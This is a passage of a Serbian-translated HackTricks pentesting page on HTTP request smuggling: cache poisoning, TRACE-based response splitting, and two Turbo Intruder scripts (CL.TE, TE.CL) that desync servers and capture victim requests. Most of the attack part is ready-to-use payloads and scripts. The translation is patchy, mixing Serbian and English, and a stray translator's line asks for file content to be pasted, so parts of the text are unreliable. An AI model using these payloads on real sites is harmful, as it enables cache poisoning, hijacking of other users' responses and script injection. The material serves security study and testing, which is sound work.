`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Ako ova smuggled request otruje cache entry namenjen static content-u (npr. /someimage.png
), osetljivi podaci žrtve iz /private/messages
mogu biti keširani pod tim cache entry-jem. Posledično, napadač bi potencijalno mogao dohvatiti te keširane osetljive podatke.
Zloupotreba TRACE via HTTP Request Smuggling
In this post je sugerisano da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je pomoću HTTP Request Smuggling. Ovo je zato što ta metoda reflektuje svaki header poslat serveru kao deo body odgovora. Na primer:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Pošaljite sadržaj (markdown) koji želite da prevedem — nalepite ovde sadržaj datoteke src/pentesting-web/http-request-smuggling/README.md.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Primer kako zloupotrebiti ovo ponašanje bio bi da se smuggle first a HEAD request. Ovaj request će biti odgovorен samo sa headers od GET request-a (među njima Content-Type
). I smuggle immediately after the HEAD a TRACE request, koji će reflecting the sent data.
Pošto HEAD response sadrži Content-Length
header, response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data u odgovoru.
Taj odgovor će biti poslat sledećem request-u preko konekcije, pa se ovo može used in a cached JS file for example to inject arbitrary JS code.
Zloupotreba TRACE via HTTP Response Splitting
Nastavljanje praćenja this post predlaže drugi način zloupotrebe TRACE metode. Kao što je pomenuto, smuggling a HEAD request and a TRACE request omogućava control some reflected data u odgovoru na HEAD request. Dužina body-ja HEAD request-a je u osnovi naznačena u Content-Length
header-u i formira se iz odgovora na TRACE request.
Stoga bi nova ideja bila da, znajući ovaj Content-Length
i podatke date u TRACE response-u, bude moguće učiniti da TRACE response sadrži validan HTTP response posle poslednjeg bajta navedenog u Content-Length
, što napadaču omogućava potpunu kontrolu nad request-om za sledeći odgovor (što bi moglo biti iskorišćeno za cache poisoning).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Generisaće ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom HEAD tela, i kada se HEAD Content-Length završi, validan HTTP odgovor je smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Oružavanje HTTP Request Smuggling pomoću HTTP Response Desynchronisation
Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Probajte ove druge metode eksploatacije:
HTTP Response Smuggling / Desync
Druge HTTP Request Smuggling tehnike
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder skripte
CL.TE
Iz https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Izvor: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Alati
- HTTP Hacker (Burp BApp Store) – vizualizuje concatenation/framing i ponašanje HTTP‑a na niskom nivou
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Ovaj alat je grammar-based HTTP Fuzzer, koristan za otkrivanje čudnih neslaganja u request smuggling‑u.
Reference
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Pazite na lažno false‑positive: kako razlikovati HTTP pipelining od request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.